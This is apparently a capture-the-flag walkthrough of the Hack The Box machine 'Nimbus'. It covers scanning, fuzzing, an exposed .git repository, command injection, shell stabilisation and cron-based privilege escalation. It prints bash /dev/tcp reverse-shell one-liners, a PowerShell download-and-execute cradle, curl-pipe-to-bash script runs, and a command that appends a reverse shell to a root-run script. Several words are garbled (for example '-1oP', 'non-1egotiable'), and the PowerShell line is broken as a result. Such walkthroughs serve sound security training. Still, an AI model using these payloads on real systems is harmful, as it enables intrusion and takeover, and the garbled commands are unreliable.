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Introduction:
The Nimbus machine on Hack The Box is classified as a Hard Linux target, but the difficulty doesn’t come from a single, complex exploit. Instead, it forces penetration testers to master the art of the attack chain—connecting small, seemingly insignificant clues from web reconnaissance, repository analysis, and local enumeration to achieve a full system compromise. This machine reinforces a critical red team lesson: on modern Linux systems, root access is rarely a single step; it’s the culmination of disciplined enumeration, source code review, and a deep understanding of how the operating system’s components interact.
Learning Objectives:
- Master a repeatable methodology for enumerating open ports, web applications, and exposed repositories on a Linux target.
- Identify and chain multiple low-privilege vulnerabilities to gain an initial foothold on a hardened system.
- Execute a structured privilege escalation process using Linux enumeration tools to identify misconfigurations and achieve root access.
You Should Know:
- Reconnaissance and Initial Foothold: The Art of the First Step
The journey to rooting Nimbus begins not with a tool, but with a mindset. As the CyberSec Guru’s guide on Nimbus highlights, “The best starting point is method, not guesswork”. You must adopt a disciplined approach, starting with a broad scan to identify all potential entry points before drilling down into specifics.
A thorough `nmap` scan is your first port of call. It’s crucial to scan all 65,535 ports, not just the common ones, as critical services often hide on non-standard ports.
Linux Command:
nmap -p- -sV -sC -O -A <target_ip> -oA nimbus_scan
– -p-: Scans all ports.
– -sV: Probes open ports to determine service/version info.
– -sC: Runs default NSE scripts for deeper enumeration.
– -O: Enables OS detection.
– -A: Enables OS and version detection, script scanning, and traceroute.
– -oA nimbus_scan: Outputs the scan in all formats (normal, XML, grepable) with a given base name.
Once you have identified open ports, especially web services (ports 80, 443, or others), you must switch to manual inspection. Open the web application in a browser and use a proxy like Burp Suite to analyze every request and response. The goal is to find hidden endpoints, directory structures, and application logic.
Tool Command:
Use `ffuf` or `Feroxbuster` for directory and file discovery.
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<target_ip>/FUZZ -recursion -e .php,.html,.txt,.git
– -w: Specifies the wordlist.
– -u: The target URL with the `FUZZ` keyword.
– -recursion: Enables recursive directory scanning.
– -e: Appends file extensions to the wordlist entries.
This approach will help you uncover hidden directories and files that may contain source code, configuration files, or backup repositories—all of which are goldmines for a penetration tester.
- Exploiting Entry Points: From Web Clues to a User Shell
After reconnaissance, the focus shifts from passive observation to active exploitation. On Nimbus, the path to a user shell often involves a “repo” or exposed code artifact that reveals a password, an API key, or the application’s authentication logic.
The key is to treat any exposed source code or configuration file as a potential vulnerability. For example, a `.git` directory left exposed on a web server can be downloaded and analyzed to reveal hardcoded credentials or the application’s internal workings.
Linux Command to Download and Examine a `.git` Repository:
wget -r http://<target_ip>/.git/ cd <target_ip>/.git/ git log --oneline git diff HEAD^ HEAD
– wget -r: Recursively downloads the entire directory.
– git log --oneline: Shows a summarized commit history.
– git diff: Displays changes between commits, potentially revealing secrets.
Once credentials or a viable attack vector is identified, you can use a tool or manual technique to get a shell. This might involve exploiting a command injection vulnerability in a web parameter or using discovered credentials to log in via SSH.
Gaining a Shell (Example via Command Injection):
If you find a command injection point in a web form or URL parameter, you can use a simple payload to test it:
http://<target_ip>/page.php?cmd=;id
If the server executes the `id` command and returns its output, you have command injection. You can then use a reverse shell payload.
Reverse Shell Payload (Linux):
bash -c 'bash -i >& /dev/tcp/<your_ip>/<your_port> 0>&1'
– You must URL-encode this payload before sending it in a web request.
Windows Command (For Reference):
powershell -1oP -1onI -W Hidden -Exec Bypass -Command "IEX(New-Object System.Net.WebClient).DownloadString('http://<your_ip>/shell.ps1')"
3. Stabilizing Your Shell and Environment Enumeration
After exploiting the target and gaining an initial foothold, you’ll often have an unstable, non-interactive shell. The first step is to stabilize it. This ensures your commands work correctly and you have a full terminal environment for further enumeration.
Linux Command to Upgrade to a Fully Interactive TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z to background the shell
stty raw -echo; fg
In the new shell, run:
export TERM=xterm-256color
– The Python one-liner spawns a bash shell with a pseudo-terminal.
– stty raw -echo; fg: Disables local terminal echo and brings the shell to the foreground, giving you a fully interactive TTY.
Once you have a stable shell, begin enumerating the environment. The goal is to understand the system’s configuration, running processes, and user privileges.
Linux Commands for Manual Enumeration:
whoami: Confirm the current user.id: Shows the user and group IDs.pwd: Prints the current working directory.sudo -l: Lists the commands the current user can run with sudo (if any).ls -la /home/: List all user home directories.find / -perm -4000 2>/dev/null: Find all SUID binaries (which can be exploited for privilege escalation).ps auxf: View all running processes in a tree format.crontab -l: Lists the current user’s cron jobs (scheduled tasks).
4. Privilege Escalation: The Path to Root
Privilege escalation on Nimbus requires moving beyond manual enumeration and leveraging automated tools like `LinPEAS` and pspy. These tools can quickly identify misconfigurations and process behaviors that are not obvious from a simple `ps` or `sudo -l` command.
LinPEAS – Linux Privilege Escalation Awesome Script:
This script is a comprehensive enumeration tool that checks for a vast array of potential privilege escalation vectors.
Linux Command to Run LinPEAS:
On your attacking machine, host the script: python3 -m http.server 80 On the target machine, download and run it: curl http://<your_ip>/linpeas.sh | bash Or, if wget is available: wget http://<your_ip>/linpeas.sh -O - | bash
– The output of `LinPEAS` is color-coded to highlight interesting findings. Focus on sections like “SUID,” “Sudo,” “Cron Jobs,” and “Writable files.”
pspy – Process Monitoring Tool:
`pspy` is a command-line tool that allows you to snoop on processes without root permissions. It can show you commands run by other users, including root, which is invaluable for finding cron jobs or automated tasks.
Linux Command to Run pspy:
Download the appropriate binary (e.g., for 64-bit Linux) wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 chmod +x pspy64 ./pspy64
– `pspy` will output a stream of process events, allowing you to see what commands are being executed on the system in real-time.
5. Spotting the Vulnerability Chain: Connecting the Dots
On a machine like Nimbus, the privilege escalation vector is often a chain of findings. A user may have write permissions to a file that is executed by a root-owned cron job, or a SUID binary may be vulnerable to a known attack from GTFOBins.
Scenario: Abusing a Writable Script Executed by Cron
Suppose `LinPEAS` or `pspy` reveals that a root cron job executes a script located in /opt/scripts/backup.sh. If you find that you have write permissions to this script, you can modify it to execute a reverse shell as root.
Step-by-Step Exploitation:
- Identify the script: `pspy` shows `/bin/sh /opt/scripts/backup.sh` running as root every minute.
- Check permissions: `ls -la /opt/scripts/backup.sh` shows it is world-writable.
- Create a reverse shell payload: Create a new script or edit the existing one to include your reverse shell one-liner.
echo 'bash -c "bash -i >& /dev/tcp/<your_ip>/<your_port> 0>&1"' >> /opt/scripts/backup.sh
- Wait for the cron job to execute: Set up a listener on your attacking machine.
nc -lvnp <your_port>
- Capture the root shell: When the cron job runs, you will receive a connection with root privileges.
6. Post-Exploitation and Flag Submission
Once you have a root shell, the final step is to locate and submit the flags. The user flag is typically in the home directory of a user (e.g., /home/user/user.txt), and the root flag is in /root/root.txt. However, on Nimbus, confusion often arises from unstable shells or mistaken directories.
Best Practices for Flag Submission:
- Confirm Your User: Always run `whoami` and `pwd` before reading a flag to ensure you are in the correct context.
- Read the Flag Cleanly: Use `cat /root/root.txt` and copy the output precisely. Avoid copying extra spaces or prompt characters.
- Verify Your Path: If a flag does not validate, retrace your steps. Check file permissions with `ls -la /root/root.txt` and confirm you have not captured output from an earlier session.
7. Windows Perspective: Lateral Movement and Privilege Escalation
While Nimbus is a Linux target, the principles of privilege escalation apply across operating systems. For a Windows target, the process involves similar steps: initial foothold, enumeration, and exploiting misconfigurations.
Windows Command for System Enumeration:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
– This command provides basic system information to understand the target environment.
Windows Command for User Privileges:
whoami /priv
– This shows the privileges assigned to the current user.
Windows Tool: `winPEAS` is the Windows counterpart to `LinPEAS` and performs a comprehensive enumeration of the system for privilege escalation vectors.
What Undercode Say:
- Key Takeaway 1: The Nimbus machine is a masterclass in the importance of chaining vulnerabilities. Success is not about finding a single critical bug but about connecting multiple low-level issues, such as an exposed repository, a weak credential, and a writable script.
- Key Takeaway 2: In real-world penetration testing, the methodology remains constant: thorough reconnaissance is non-1egotiable. Tools like
nmap,ffuf,LinPEAS, and `pspy` are force multipliers, but they cannot replace a hacker’s ability to analyze, adapt, and think critically about how different pieces of information fit together.
Prediction:
- +1 The lessons learned from machines like Nimbus will continue to be foundational for the next generation of cybersecurity professionals. As cloud-1ative and containerized environments become more prevalent, understanding the Linux privilege escalation attack surface will be more critical than ever.
- +1 The growing availability of high-quality, free resources like Hack The Box and detailed community writeups is democratizing access to advanced offensive security training, making the industry more skilled and resilient.
- +1 Red teamers will increasingly need to blend traditional Linux exploitation with knowledge of misconfigured Kubernetes clusters, Docker daemons, and cloud IAM roles to achieve the same “root” level of access in modern environments.
- -1 However, the increasing sophistication of defensive tools and EDR solutions means that simple enumeration scripts like `LinPEAS` are becoming noisier and more likely to be detected. Operators will need to develop more stealthy, in-memory techniques for post-exploitation and privilege escalation.
- -1 The reliance on “Hard” CTF machines that focus on chaining synthetic vulnerabilities could create a skills gap, as real-world environments often involve complex, legacy codebases and policies that don’t always follow a neat, CTF-style attack path.
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